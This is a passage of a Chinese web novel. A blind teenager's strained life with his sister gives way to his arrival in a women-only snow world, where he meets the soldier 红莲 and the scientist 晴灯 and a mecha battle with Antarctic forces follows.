“沙皮佬就多给我们了2500！恶心！恶心死我了！所有人都这么恶心！” 她说的沙皮佬就是橡树的经纪人，因为长相酷似沙皮狗，妹妹私下就叫这个外号。 “我说你不能再走快点吗？” 橡树从二个月前开始，总感觉身体动作迟缓，比意识慢一点，但他并不想让身体变的更好，也怕对二人的生活费造成影响，所以不多说。 “可能因为运动不足吧。” “噢。” 像子拨开长发，露出惨白的脸色，她抬头看天，清澈的淡蓝色天空映射着太阳，这四射的白刺，她回头询问橡树。 “你真的一点都看不到吗？” “只有黑色。” 二人转向前往远处的大型便利店，等橡子挑选到满意的帽子和食材后再出来看天色已经橙黄了。 “又浪费了钱！” 怒气能加快她拽着哥哥回家的进度，走过公寓楼下，遇到家左侧的住户，她是个上夜班的白领，第一次跟妹妹打招呼，被说嗯就再也不理二人了。 两人每次上楼梯的声响都会引出住在家右侧的秃顶大叔半开门对妹妹傻笑，他看到身后的橡树就又砰的一声关门了。 兄妹住的狭小单身公寓房间里勉强塞下一张大床和一个衣柜，角落摆着最好的电钢琴和琴凳，多余位置全是妹妹的书堆和电子设备，地上的被褥还没来及收起，橡树摸着墙跪倒地上卷起行李，走路时，脚不离地，以免再踩坏她的东西。 橡子在玄关操作着厨房用具，等油加热的片刻，打开冰箱，凝视了会偷偷买的一罐啤酒，就开启果汁大口喝着。 “哇！爽，我完美的家！咱两的生活费够十年啦！帽子也不算浪费，呐？你看有点草帽的感觉！配上我那条白裙子完美！” “我看不见，我想去福利院……” 噔！ 是菜刀剁入菜板的声音，随后的切菜声同样很重，橡树就摸窗边开窗，再摸到琴凳上坐下，他拿起无线耳机收听语音书和时事新闻，听到橡子又聊着什么就摘了。 “老头居然有脸朝我要钱！啊，被坏女人一带就变了！” 实际上，兄妹二人的父亲出轨历史很久又很频繁，橡树小时候，在家就听到过很多次，他就带上耳机听古典乐，父亲知道橡树个性孤冷从不多嘴。 而妹妹从去年开始多次逃课回家，就撞见了一次，母亲只是哭闹了几天，又平静了，橡子却也宅在家中，不去上学，半年后父亲就不再回家了。 母亲不得不外出打工赚钱，她当了十多年家庭主妇，所以薪水即使加上橡树的残疾福利补贴也不够生活开支，妹妹橡子讨厌看她整日哀愁的脸，就一气之下带着橡树跑出来了，两人流浪了半天，橡树想起钢琴老师曾介绍过一个人，就是沙皮佬，借给兄妹一周的生活费。 “妈妈打来电话，我接的，她和爸爸商议决定让我去福利院。” “他两又没死！你去什么福利院！那女人为什么还不和老头离婚！” 橡子边洗澡边吼叫，橡树听过很多中年家庭的新闻和故事了，出轨对于他们不是什么大事，他认为一切问题的症结在于自己是先天盲人。 “妈妈好像找了男朋友，各有爱情，我们无权干涉。” “爱情？我呸！那我们正好给她腾了地方，不要说这些了，你再说就没晚饭吃了！” 橡树也不懂爱情，他只在乎亲人，妹妹橡子健康，原本有正常的生活。 “我去福利院住校了，你就能回学校上课了。” 沉默代表她更生气了，浴室门开传来吹风机的嗡嗡声，衣柜门开，又听到她走过来关窗。 “嗯，这条裙子果然很配这个帽子。” “你应该避讳我。” “反正你又看不见，先吃饭吧。” 吃饭的流程完全依赖着橡子，能听到她搬桌子，摆好碗筷和垫子，吃完还是靠她整理，橡树只用摸爬，找到垫子。 “漂亮的衣服应该穿到户外多走走，习惯外面的生活。” “我才不要像外面的暴露狂勾引人！我只自己看！哥哥你看不见世界也挺好的，不会被污染。” 橡树尽量控制碗筷不给她添麻烦，所以吃的很少，他习惯了黑暗，知道人必须适应它。 “既然大家都是那样的，你也能那样做。” 二人只要一外出回来，就像激活了橡树的说教开关，橡子能想象出他接下来的话题全是学校，曾为她看邻桌男女拥抱亲吻不顺眼而吵架，曾为女生争风吃醋纠缠她而吵架。 筷子捏断的声音。 “自以为是的来表白！被拒就跟小婊子打报告！别用他们□□的脑子来想象我！恶心死我了，你和他们一样，也想要挟我！我想去哪是我的自由！我明天就走！” 筷子和碗被她抢走了，听橡子用摔砸的气势收拾完，之后是电脑开机的声音。 孤独的人都有自言自语的习惯，橡子率先打破了冷战。 “喔，阅读量只有30人啊。” “小说没人看吗？” “嗯，这些家伙既不懂你的音乐，也不懂我的小说。” “我们不用指望小说赚钱，我觉得欺骗与背叛大概是世界的底色，所以人们渴望洁白。把美好的事物留下来，像在一张黑色画布上添加色彩。没必要纠结污垢，音乐就是这样，从世界普遍的杂音中提炼美妙的旋律。你也应该写自己觉得美的故事。” “话是这样说，可我自己也觉得没意思，在作者论坛学着写爽文，装X色情暴力，内容蠢死了，不懂为什么有人看，写完果然没人看啊！哎哥你说的那个故事，我觉得不错！” 橡树最近两个月总梦到从未见过的画面。 “我表达不好，梦里全是我没见过的人和东西。” “再和我说说，我打算写出来！” 他思考怎么用听语音书学到知识传达梦的内容。 “由财团主导的星球，经历了机械和生物科技导致的灾祸，又被外星灵能体占领，成为只剩女性的雪原末世。” “哇！这星球真敢做，科幻圈有句话说，机械飞升，血肉飞升，灵能飞升任选一个修，就能成神，三个一起修肯定成魔，哇哇！不过很多设定我都很喜欢！全是女性吗？那个孕育罐也很人性化！” “可我在梦里看到她们面临战争和痛苦。” “乱世出英雄！残酷和压力才能显露角色的人格魅力！帅气的红莲，个性的黑巴，睿智的天荷，随和的千鸟，仁慈和阳荷，还有美丽的风信子，这几位人物都好出色！” 这是兄妹二人每到深夜后，开开心心讨论兴趣的难得时刻。 “那你喜欢哪个角色呢？” “茧。” 哥哥问：“茧是哪个？” “那个宫女呀！在美丽与智慧兼备的女王身边工作！哇，太幸福了！而且茧和我的笔名一只虫很像呢！” 两人聊到困的不能在困，才迟钝的铺好被褥睡觉。 橡树每天听到橡子的鼾声，就再设想一遍二人将面临的人生，钱对于两个孩子来说，不是万能的，现在还能勉强维持，可以后呢？橡子不能一辈子宅在家里伺候自己，她该有正常的生活，升学，工作，结婚，孩子等等，他想起小时候邻居大婶议论时说过，瞎子拖累了这家，父亲出走前也说过：你就该死。 他无数次的想过一了百了，一点都不悲伤，因为对他而言，本来就不存在幸福。 他只是不想让亲人难过，拖延才导致了今天。 我的心就如梦中的雪原。 也和她们一样身不由己。 一股黑暗向我扑来，我任由它将我吞没，这种感觉不错，睁开心眼，即是夜星。 9. 章9北极：夜下弹诗 古代学者认为最具夜星特色的乐器是种被称为三弦的木琴，琴体有方圆不同的发声箱，曲声时而清脆，时而忧长。夜色来临的时候，人们围聚在琴师身旁，倾听诗歌改编的乐曲，这种聚会被称为夜下弹诗。 岸防连城里，不断减少的人们，谁也不知道此刻，这间只有两人的居住舱内凭空多出来一个人类，晴灯看到打扫干净的地中央矗立着的全黑孕育罐产生一丝抖动，她仔细观察罐内深黑的0元素液体出现很多波纹，就连罐体外布满的线束也被轻微扰动了。 她拍拍正在床前毯子上练剑的红莲。 “成长速度超乎我的预设，她的意识似乎已经到达了，怎么办？” 红莲在晴灯诧异的目光中脱下白色连衣裙，换上岸防士官队服，整理完黑色长发再戴好帽子，走到晴灯身边后，抱着胳膊倚靠桌沿，转脸看她。 “你拿把枪。” 这话增加了晴灯的恐慌，就一直与红莲对视着，她看到坚决的眼神。 “不，不管用的。” “没事，罐里的人不知道。我们不清楚她的人品，你随我行动就好。” 晴灯取枪放在白大褂口袋里，被红莲突然拍了一下肩膀，吓到后，恢复了学者的镇定。 “我必须把预先编好的程序释放罐中，顷刻就能取得所有0元素的控制权，只要她一离开罐内，0元素就变得不可修改了，而且她自身就是产生0元素的装置。” “设计一句能让所有0元素静止的一次性口令，保障我们现在的安全。” 晴灯点头，听红莲继续说。 “黑家主教我一句名言：世界是所有人的世界，靠一个人，什么都改变不了。” 红莲踱步后，说道：“如果夜星还有救，就是还有很多人没放弃！ 0元素得发给她们。” 晴灯插话：“人体适应0元素，需要过程，越熟练，从环境中吸收的0元素就越多。” 红莲说道：“那就设计一个中立的评星系统，由弱到强，贡献越大，星级越高。” 晴灯点头。 红莲坐到办公桌前，思考一番后说：“内斗比外星敌人还可怕。要设计一个赏罚指令。还要防止敌人取得0元素，绝不能落入敌手。” 装满了黑色0元素的孕育罐连接的电脑操作台前，她们一边商议，一边修改0元素程序，使它具备以下能力： 红莲专属的0维之钥指令：授予某人成为使用者，授予某物成为培养罐。除此指令和培养罐以外，任何方法都不能产生0元素，等于0维空间的门锁。 0元素培养罐：初始0元素一直为黑色液体，人类喝下成为使用者，可以用意识操纵0元素，求生本能形成衣服防护，战意形成刀剑攻击。 中立评星系统：独立的不可修改的智能评级程序，分析个体素质和作战贡献，评1到10星，只能有一位10星，随星级提升体内0元素含量。 0元素最高指令：最高星者自动获得，可以提升其他使用者的星级一次，可以消除他人的星级，不能消除比自己星级高的人。 0元素辅助模拟系统：使用者可以变出一块信息板，用以辅助意识构建物品和知识。 简单来讲，你喝一口黑色液体，自动变出一身衣服和一把剑，衣服防刀枪，剑可斩万物。还能变出一块平板电脑，安装各类程序，比如你不会开飞机，装了学习程序就会开了。此外，液体的本质是一种无穷小的能量球，听从你的潜意识，你不想死，小球就会自动修复你的身体，使你永远健康。 “喔，完成，可以开启孕育罐了，以后叫它0元素培养罐！” 红莲看晴灯迫不及待的命名和验证实验成果，缺乏严谨态度。 “我们得想个开场白啊！她刚来未知的世界！” “啊对对对，说啥？我要不要也换身衣服。” 晴灯打开柜子换了身全新的白大褂和裤袜，又跑到浴室草草洗净头发。 “你简单介绍夜星的情况，别的先不要说。” “噢噢，那我开启了啊，她还在睡觉，意识需要程序唤醒。” 程序将罐内黑色液态0元素抽到罐外的临时储存桶中，逐渐显现一个全黑的人体，20CM高的黑色底座上信号灯激烈频闪，散热口嗡嗡排气，罐后的油黑机械柱随之转动，晴灯慌乱的跑过去踮脚举高杂乱线束，透明罐壁缓慢转开，红莲在这人将要跌出罐外时抱住。 “嗯，她原本浮在里面，和□□生命不一样，没连接数据线和生命维持设备，说到底是是0元素运行胚胎程序，组成的物体。” “怎么这么轻，还是全黑的呢？” “等她意识清醒，潜意识就会控制0元素自动模拟人类器官性状，外观就与普通人类一样了。她的潜意识驱使0元素微量发散，形成力，与引力作用模拟重量。哎？她胸好平啊，我看看？” 晴灯蹲下仔细观察红莲怀中的黑色人体，看到这人腹部随呼吸起伏就注意到一些异常，可是随她眼部微微眨动，从头顶开始逐渐变粽。 “你抱着她，我取件衣服。” 红莲说着，跑去衣柜，抽出一件新的白色睡裙，两人给陌生人穿上，就退到桌边，看穿越者渐渐睁眼。 “我能看见了？” 晴灯听这人开口说夜星语，终于松了口气，扶他到墙边靠着，再回到红莲身边。 “我怎么穿着裙子？” 醒来的穿越者揪着白色裙角，抬头观察环境，房间中央区域比较明亮，顶灯下有个直径1米的上下与房间连接的透明圆桶设备，右手边有两把接满线束的机械椅，左手边是一张床，往前看有两个人靠在桌边。 清瘦的女子，身影高约175cm，精致的黑钢鞋，黑色贴身裤线条优美，裙摆之上的黑色队服衣袖是抱臂动作，给人种不太友好感觉。他跳过看她的脸，注意到大檐帽上的徽章像一朵莲花，再看脸侧的黑色长发轻盈垂落有种温柔的美感，他才看向少女的脸，平滑白皙的瓜子脸，口鼻小巧，晃到眉目传达的锐利感，迫使他马上扭脸看向床边，才注意到床上有把长刀形状的铁条，他又抬眼看她，见身穿白大褂的白发女性在她耳侧说着什么。 “男？” 短暂的惊呼后又是微小的私语声。 “你好，我是晴灯博士，欢迎你来到科技发达的充满白雪美景的星球，你叫什么名字？” 他看到前面的人脚穿的平跟鞋已经有些破损，黑色裤袜和白长衣却是新的，再缓缓抬头注意到她内穿的白色衬衫发黄还有些黑渍，毛糙的卷发垂在领口，肤色惨白，却有一张极具亲和力的美丽脸孔，只是眼周全黑，好像从没睡过觉一样。 “橡树，我在梦里见过你们，这是现实世界吗？我为什么穿着裙子？” 他又低头揪扯自己的裙摆。 “因为这个星球只有女性。” 说话的黑衣少女放开了抱臂，双手各抓着桌边，眼神似乎在观察他的动作，他就顺着她的目光继续揪着自己的裙角，听对方还要说什么。 “橡树，你听我说，很抱歉把你接到夜星……” “我自愿来的，我在地球的身体怎么样了？” 中年女性走远，插话：“死亡了，万分抱歉，请原谅我们的自私。” “没关系，我原本就打算那样。” 三人沉默了，只有那中年女性脚步声和操作工具的声音，橡树很不习惯获得视觉，就在闭眼和睁眼间观察着裙摆，直到听见少女走到自己身边。 “很抱歉，真的，我们为了夜星把你卷了进来，我发自真心向你道歉。” 他看到视线边有黑色长发，是少女躬身，表达歉意。 “我自己想来，我在梦里知道这里是个充满战争和绝望的星球，也梦见过你，红莲，我所生活的世界，我是给亲人造成拖累的盲人，夜星给了我视觉，我会报答夜星。” “现在的夜星很简单，只有黑与白。” 橡树此刻才正视红莲，她眼中的锐利不改，却多了慈悲的荧光。 “我来做你在夜星的亲人，这是我唯一能给你的补偿。” 他沿着这英气队服袖子看到她伸出的双手，手心向上。 橡树轻握了一下，又低头揪着裙摆。 “我最近兼任第五城区的将军，太忙了，没想到这些细节，现在出门给你做身裤装衣服，嗯？不过你是男性，为了不引人注目，必须保密，你介意穿普通队员的女性队服吗？这样能不被察觉。” 红莲看他放下手后点点头。 “没事，就和别人穿成一样吧。” “好的，你稍等我让人送来一身队服。” 红莲安排橡树坐在床边，自己回到地毯上练剑，三人渐渐放松后才闲聊夜星，橡树也说起地球的人事，偶尔还能有些欢声笑语，两人看他渐渐困了，就介绍夜星最近2000多年都是永夜，但人们还沿有24小时和白天黑夜等叫法，只是没有统一的睡眠时间了。 随后，橡树躺在床上睡着了。 红莲从他肌肉大小和眼神举止就判断出他是某星球上的普通少年，得知他梦到过夜星，可能知晓0元素，又谨慎的攀谈过很多言语，她发现橡树比普通人更无欲，话里总有种对一切都无所谓的态度，就连眼神里都有种对一切都不抱希望的冷静，这种人格和他先天盲人的生活经历符合。 晴灯却小声告诫红莲，穿衣等等隐私应当避讳，可她说完，没过一会儿，就在红莲惊讶的视线下脱光，进了浴室，所以红莲不得不让队员从医疗站取来两个屏风和一张折叠床。 “0元素构成的身体，其实不用吃饭和睡觉！他潜意识留有的习惯吧。” 她俩寸步不离的观察橡树一周后，红莲发现橡树很乐于待在房间里，只是怀念某种叫钢琴的乐器，她已经百分百确定橡树只是一个普通又不幸的少年，期间她还带橡树走遍了岸防连城的5个城区，注意到他只在最开始热衷于悄悄看队员们的全身，有队员走来找红莲攀谈，她们也和他说话，他却一脸冷漠的走开了。 橡树和红莲说话时情绪略有起伏，他似乎不想和亲人以外的任何人扯上关系。 红莲挥手与黑家主的随从道别，因为她近一周拒接了所有通信，黑家主不得不派人当面询问原因，她看橡树提着一个棕色的工具避开人流走向道路外的雪地。 “你手上拿的什么东西？” “我还适应不了夜星的寒冷感觉，不过这雪夜景色真的美极了，我有点无聊，晴灯博士给我打印了这个叫三弦的乐器，我只说过一次喜欢弹琴，太感谢她了。” 他说完就抱着乐器拨弄了几声。 “可惜没有谱子，红莲姐，队员们战斗完回家做什么放松呢？” “灵能会认为兴趣能污染灵魂，所以夜星人没有兴趣爱好，我猜大家进了房间和室友聊聊天就躺在治疗椅上睡觉了，那椅子有催眠程序。” “孤独感会滋生痛苦，我一直用音乐缓解它。” “这里没有多少痛苦了，痛苦在漫长的妥协中消耗完了吧。” 红莲走到这个身穿黑底白边岸防队员队服的棕发少年身后，目看远方的雪地与夜色，听他磕磕绊绊的弹奏着某种曲调，曲声随她仰头望天看雪花循环飘落而变得流畅，渐渐有依稀听到奇妙声音的岸防队员们走来，她们第一次听到这种有旋律的声响，注视着红莲身前方的棕发少女，看她闭目全身心投入的拨动着奇特的工具，旋律似乎和这雪景有着某种细微的联系，人们也随红莲的视线看向冰海深处。 “我来的地方，人们还奢求一种叫爱情的东西，红莲姐有过喜欢的人吗。” 呼！ 红莲轻轻吐出哈气，水雾很快便消失在寒风中了。 “人和环境都太善变了。我追求某种永恒，无法将自己托付给别人。” 姐弟二人回到居住区的路上，又遇暴风雪，人们不愿在迷宫般的层层叠叠的居住舱小山中穿行，都待在舱中，除了三两个去公厕的人捂住头顶风前进，红莲问橡树能否找到去公厕的路，看他点头就让他自己去了。 等红莲到家附近就看到居住舱门敞开着，门前平台被人放成斜坡模式，6个队员顶着风雪用起重机拖行一台稍小型的孕育罐，每拖动一下，就使得居住舱下面的机械支撑柱发出吱呀声并摇晃着，当她走近在发现身后的风信子。 当橡树再回居住舱见到家里多了一个孕育罐和一个人。 她看起来比红莲略高，靠坐在墙边，左手边立着一把长剑，全身洁白的紧身衣裤显的曲线比红莲更具弧度，波浪白发中，是间祥和的表情，橡树轻步路过风信子，以免打扰她休息。 晴灯钻入罐底，只露出一半刮花的袜子，她探出手在地上摸索着，橡树很会摸东西，就注意到了，走过去帮她。 “喔，拿那块手感很轻的铁板，对，我说南极特使，你不能让我研究一下银质机械鞋吗，喔，你们回去要把虎型机械生物的动力装置拆开，只留银色的部分按放到这里面，记住！顶部圆形凸起要卡在这个方块中，还有……” 晴灯似乎对这位一身白衣的客人絮叨很久了。 “我记不住缺乏美感的东西。” 风信子说完睁眼，扭头观看着毯子上的红莲挥剑，橡树第一次见到这么美的侧脸，尽管所有夜星人的外貌都令人舒心，但眼前这人美的与众不同，眼睛像被吸住一样无法移开，而她只是用淡漠的眼神看了一眼橡树，就又看着红莲。 他明白自己被她身上熟悉的孤独感吸引了，这人与自己一样不与别人产生交集，却有着独立于世界之外的孤美。 红莲练习完一套动作就坐下冥想，刚进入状态就止不住的皱眉。 “敌意太明显了，风信子，你应该懂武者的礼仪。” “心乱如火再做冥想的样子太丑陋了，让我忍不住想砍了你。” “那你跟我出去。” “稍被挑衅就不顾对手的实力，你太丑了，红莲。” 风信子凝视红莲的目光，渐渐感到似一把剑穿头而过，令她时刻保持的从容消失了。 “好吧，别紧张，我承认你笨拙的挥剑里有一丝能被称为极限的美感。” “你怎么总说美丑之类的词？” “这无聊的世界里？还有比美值得追求的东西吗？” “那你怎样定义美的？” 红莲起身进入工作台前的屏风后继续听风信子的想法。 “身形之美，剑技之美，心性之美。” “我觉得还包括人生之美。” 橡树看风信子闭目眉毛上扬做着摊手动作。 风信子笑说：“这丑陋的世界里，人们的欲望让我感到无聊啊，不与人来往，就是我的人生之美。” 沿着屏风后的脚步声，又听到浴室的门开了，是红莲的洗澡声。 红莲身穿白裙，回到毯子上，做着拉伸动作，她意识到自己和风信子之间不仅仅有体能上的差异，调动身体力量的方式也有区别，自己只能在放松与爆发之间切换，而风信子的身体力量自如流畅。 “那你为什么做南极特使呢？” “我被冰雪女王的博爱之美折服，还能和丑陋的北极人战斗，何乐而不为呢？冰雪虽然离世，但我答应过她的事必须做到，守约也是我的美学之一。” “这罐子的力量被丑陋的人利用，你就没美学了。” “呵呵哈哈，隐藏目的的方式也不够美呢，红莲。我只能答应你，在我认识的人中选一个顺眼的，事情的发展总脱离我的想象，所以我不考虑太多。” 晴灯安装完成第二个0元素培养罐，拍拍土又双手插兜，对自己的新作品很满意，但上下看看装睡的风信子，感觉她事不关己的态度没记住操作方法，于是坐到工作台前编写着操作方法。 橡树打开晴灯身边的柜子取出一套新褂子放在晴灯手边，两人相处了一周时间，他已经十分熟悉这位博士会一口气做完研究，然后像个死尸一样躺在工作椅上睡着，有时她甚至忘记放平椅子，第二天大喊着脖子疼。 姐弟今天在岸防连城逛了一下午，橡树感觉困了在红莲的床上休息，而红莲这几天睡前会拉过屏风，再展开折叠床，有时就像现在这样继续练剑。 “橡树你睡吧，我可能一会就得出门。” “红莲姐很喜欢剑术吗？” “嗯，我小时候多病，浑身疼的我很烦，黑家主，你没见过她，是个强壮如牛的人，她说练习剑术可以忘记疼痛，其实现在夜星有各种科技制造的武器，剑术派不上用场了。” 孤独的领袖 办完0元素和南极特使这两件事没能让红莲轻松，做完事情反而让她有种由内到外的疲惫感，这失落源于做完这些事情对自己的命运助力很小。 她压低帽子，绕行过中央广场的人流，对跑来打招呼的队员摆手后继续走，她想夜兰了，自己也许应该像身边的岸防队员们一样陪伴挚友，亲切感能缓解这份疲惫到世界毁灭之时。 大家都是这样做的，接受世界施加的命运，自己也这样做，和别人有什么区别呢？ 我真的活着吗？来过这个世界吗？至少要搞明白世界到底为什么变成这样。 不灭的心火是红莲快速振作的能量，这源源不断的斗志瞬间驱散了所有衰弱感受。 她行至指挥部大厅的花白石阶上，休息过后精神饱满的士官们被红莲英武的气质所驯服，她给人的印象如同一朵有着火红光辉的玄妙莲花。 红莲步入黑家主的办公室，士官们还是一如往常围在桌前忙碌，不同的是众人回身看了进门的红莲后就安静了一些。 “我升你做将军不是让你在家待着，这一周第五城区的大型作战任务积压满了！” 黑家主还是老样子低头写着公文说话，红莲轻推开人群。 “我该走了。” “去哪。” “博物馆都市。” “你们先下去吧，我和红莲有话要说，我以为你也不想去呢，所以我准备了一个试探南极岸防战力的行动，顺利的话，你可以留在那，天家主那边，我来顶。” “你累吗？” “累有用吗？看来小红莲走前想叙旧，跟我来吧。” 红莲跟黑家主走到墙角，只看她的手掌与墙上花纹重合，墙就退后一块，侧滑收入，门内空间泛着青色，二人进去后门自动关闭，黑家主在衣架边脱下衣服，红莲看整个房间青底白边，白色古典花纹走线典雅，家具的抽屉是浅粉色的，只有眼前的大型白色浴缸给人的感觉有些突兀。 “千万别跟黑白说你进来过，我平时只用这里洗澡，呼，我在办公桌里已经坐了36个小时，呵啊。” 红莲看她露在水外的上半身肌肉上布满弹痕和刀痕，这筋肉强健到让她看起来像一台机器人，她将头没入水中再抬起，曲折的黑发盘满颈背，红莲马上想到黑白平时会站在黑家主身后给她洗头，于是红莲也这样做了。 “谢谢小红莲。” “我有件事求你，你有进博物馆都市的免检查标签，我想给个朋友用，她也是病人，还需要你帮她做一个信息名片，理由就说你随从够评分了，要加入博物馆都市。” “可以，你执意要去那吗？我想听听你的理由。” “我想了解世界的真相再走，这能帮助我决定以后的人生。” “天家主不会再放你出来的。” “这你不用管了，我对你很好奇，黑家主你从不回想这一百多年的变迁因为什么吗？” 水面倒映着黑家主的脸闭上了眼睛。 “世人决定的，2000年前甚至更早，祖先们决定了一切。我只不过顺应着人心，我个人只记得痛苦的事，内心早已千疮百孔，我无比渴望长眠，睡觉才能让我心安，即使有好事来临，预感到可能的痛苦我只能留在黑暗。世界是大家的世界，一个人改变不了什么。” 红莲听明白了这位高大的战士也曾反抗过命运，却孤身一人，即使现在，岸防连城里都很少有她的盟友。 “你教过我用剑当玩具，我今天也送你一个玩具吧。” “呵呵，我可没空玩。” “晴灯的研究成果叫0元素，喝一口就有对抗侍灵的力量，你拿去吧，拖走我家的0元素培养罐，秘密的尝试出如何应用它。” 黑家主猛的转身凝视红莲。 “我不知道该……” 红莲微笑着擦干手。 “我更不知道怎么用，我是个对世界一无所知还缺乏人望的普通人，世界已经残破，您无需顾虑太多，斟酌着使用吧。” 黑家主转过身思考后问着， “得当成绝密，可怎么向天家主回复机械生物动力的研究成果呢？” “晴灯破译了一部分西大陆的细胞编程技术，就当研究成果，我猜她主要目的是趁冰雪女王去世，用这计划搅动南极的情报，特使带来了新女王登基的消息，她的目的已经达到了。” “可以，说起南极，我刚才跟你说的试探行动？” “我得出发了！” “不行！我帮你，你就得帮我！” 黑家主从浴缸站起走到地面，擦干身体，穿上战袍。红莲一时找不到可以反驳的底牌，她感觉这帮家主大人太会算计了。 “帮我朋友去博物馆这事，我不是还你新玩具了吗！” “你自己说的！还我教你练剑的人情，别这样，小红莲，我真的需要个得力干将去试探一下南极海岸的防御，如果他们完全不设防的话，我想把不适合战斗的市民搬迁过去，这等于救了一些人啊，你愿意做的。” “可我的朋友夜兰在南极！” “一点冲突不会影响外交。” 不打不相识 当这种历史遗留的根源性的错误主宰世界时，个体无论怎么做，都是错的。 红莲来到北极冰海岸码头，无数载具的灯光将这一片冰面照亮，三艘庞大的旧时代登陆舰早已等候多时，舰尾舱门上开着，多辆支援车将物资和弹匣起重机装入舰内，码头外不停有沉重的钢铁岸防机甲驶入冰面，红莲走在舰侧，听着身后的队长汇报队伍编制和行动目标。 舰体两侧焊接的巨型履带比人高两倍，同高的钢架雪橇刀支撑在履带之间，她再往上看舰身被切开的破口处装有两台大型涡扇发动机，最顶端的舰桥被人拆除了，只有甲板上赫然立着一门长20米左右口径15CM的巨炮，巨炮两侧各装有一挺多管机炮。 “准备完毕就出发。” 红莲下达的命令过分简略，队长们茫然的互相看脸，却见她已进入最近的岸防机甲，启动并向黑蓝色的冰海深处驶去了。 最先装满物资的登陆舰立刻启动，冰面上人员的呼喊声此起彼伏，大量机甲穿行于人流中，整支队伍仓促的追逐着红莲，看起来像落荒而逃的败军。 在机甲自动驾驶的空闲时光里，红莲看着横分天海的这幽蓝深邃的天际线，她有一种前所未有的冲动，好想就此投奔夜兰。 神秘莫测的广袤冰面，也像夜兰那心有善意的诡异微笑，直到远方显现一个金字塔形的白光，这光塔打碎了红莲的所有幻想。 凹凸不平的黑色铁板下方用密密麻麻的棍子连接冰海，越近，越能看清这人工岛的宏伟壮观，她不得不停在光照之外，计算着登陆舰的航速， 等待机甲群追上红莲时，编队散乱无序。 “红莲将军，15台机甲已到位，三艘登陆舰还有4分钟抵达，4台机甲在后方护卫，我们按原计划分成两队护卫登陆舰，绕行在人工岛光照区边缘，通过后在人工岛中轴线汇合。” 队长刚说完，惊讶的发现红莲开启座舱，跳落下来，黑发飘散，她手摸着冰面，不看黑色队服和大檐帽的威严气场，就像预备起跑的比赛选手。 “这登陆舰行驶的震动足够传到80公里外。舰艇和机甲都从人工岛东侧通过。” “可是登陆舰过于庞大，无法在一侧绕行光照区，太靠近人工岛可能引发灵能会不满。” 红莲向后看登陆舰的位置。 “没关系，让舰艇直行，进入光照区再满舵转向。” 机甲被红莲分成三组停在光照区边缘等待登陆舰通过，她们看到人工岛上不断浮升起银白色的人形物体，当登陆舰直行进入光照区后再转向时，人形物体每3人组成编队，如蜂群扑向登陆舰。 “你们别动！” 红莲单机全速冲向飞行的银人部队，飞行中的全身银色连身衣的侍灵，那果冻状的头部伸出的扭动线束瞬间侦测到红莲机甲，它们很快在空中包围了红莲，随红莲到达登陆舰西侧后，侍灵汇合在空中组成一面人墙。 意识通信：警告！人类载具已进入天狼星支援夜星机构灵魂能量促进协会管辖区域，限人方于30秒内离开！否则予以清除。 登陆舰上的队员们又气又怕，考虑到刹车有可能撞上后方舰艇，只能操作舰体全力转向，舰底右侧四台履带迸发出冰花和火花，轰鸣的舰体涡扇吐出两道火舌，红莲操作机甲急速赶在侍灵身前。 意识通信：信息名片具有灵能会标签的个体请离开，我人工岛侍灵军团未接到放行命令 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“我说？北极咋这么好心呢？原来如此。” “机甲全员开启上肢联动，灯光分散索敌。” 红莲轻按扩音器按钮。 “你好，我是北极岸防连城第五城区将军红莲，执行登陆南极行动，雷达毫无反应，你是一个人来的吗？” 队长插话：“红莲大人，她们南极海岸部队用爬行模式紧贴冰面移动，像蟑螂一样，所以雷达侦测不到。” 气垫船：“你们才是蟑螂，夜星的害虫，灵能会的走狗。我当然不是一个人来的，这气垫船里没人，我想用它跟你谈谈。” 红莲把帽子放好，咬开一个营养剂喝着。 “谈什么，我只想堂堂正正和你打一场，结果你不敢露面，名字都不敢说啊。” 整个编队刚与白色气垫船擦肩而过，前方冰面上就立起一片矮小的机械。 “好！我最喜欢光明正大的对决！我叫玛丽安，统帅南极银雪女王御前军团与你决战！” 红莲扫视人影，数出50个，御前军团就这么点人吗？出发前的情报说海岸的风家军团移动到首都郊区驻扎，海岸几乎没有部队了，现状与情报符合！按照1台机甲可以换9个南极机械外骨骼士兵来计算，20台机甲战力是敌方的三倍，红莲有信心无伤亡完成作战。 她关闭了扩音器。 “全员停止行驶，登陆舰缓慢后撤。护卫队东西各5台一组成纵队，保持警戒，前方9台与我组成前卫队，前卫队听我命令精确瞄准。” “瞄准完成！” “开火！” 20发炮弹顷刻就击毁十多个外骨骼士兵，敌方却不顾一切的冲来，南极机械外骨骼战士的移速和灵活度远超北极岸防机甲，敌人意图冲刺通过这300米空地，与机甲近战，汹涌的寒风吹飞金亮的弹壳，冰块与雪片在灯束与火花间飞舞，见证了南极战士前赴后继的勇气！ “前卫队弹出臂刀！” 一通开火下来，仍有22架外骨骼战士冲锋到距离机甲仅8米的距离。 不得不说，岸防队员的心理素质完全不行，越近越慌，只有红莲能从始至终精确瞄准，敌人马上就注意到这台机甲与众不同，玛丽安打手势指挥10个外骨骼战士。 共11人围击红莲。 就在如此危急时刻，红莲用半秒扫视了一眼南极，海岸闪着星光。 “全员Z动作回避！” 她自己在操作机甲做出Z形转弯的同时说出这句，但还是说晚了，抓爬上机甲身体的外骨骼战士一反常态，直接弹出人员，由后方战士接住，落地向南奔跑。 正当全员分析南极部队这古怪行为时，4台机甲迸发剧烈爆炸散架，座舱向后弹出！一般的□□连机甲的铁皮都打不凹，南极战士通常是用链锯和背炮破坏机甲关节处，只有南极海岸的巨炮能一发击毁机甲。但是，机甲安装有反侦测设备，红莲编队所处的位置不足以让海岸巨炮部队目视瞄准。 “全员下肢转身急速后撤，保持开火！全舰对海岸火炮位置还击！” 红莲单机甲冲刺并挥砍，拨掉其他机甲上的南极外骨骼战士，有的外骨骼战士爬到她的机甲背部，红莲一时无法摸到，就在心中默数后突然刹停。 炮弹在机甲面前爆炸，冲击波震开了所有包围过来的南极战士，红莲趁机与前卫队汇合，整支队伍正好退回到那辆白色气垫船北方。 一番战斗下来，红莲方损失4台机甲，玛丽安方损失38架外骨骼，只剩12人的她丝毫没有撤退的意思，仍然追击。 正当岸防队员们为南极部队的有勇无谋放松一口气时，晃动寻敌的灯光处就显现高速爬行的外骨骼战士，她们平躺面朝夜空，机械四肢在下爬动，像恐怖片中的蜘蛛步猛鬼。 红莲向远方发射了一枚照明弹。 从海岸分三个纵队，一直延伸到玛丽安队伍附近，组成绵延一公里的横队，红莲对着玛丽安连射两炮，炮弹准确预判回避动作。 玛丽安在危急瞬间，弹出自己，这使得整支追击队伍停下，有的南极队员弃机去搀扶她。 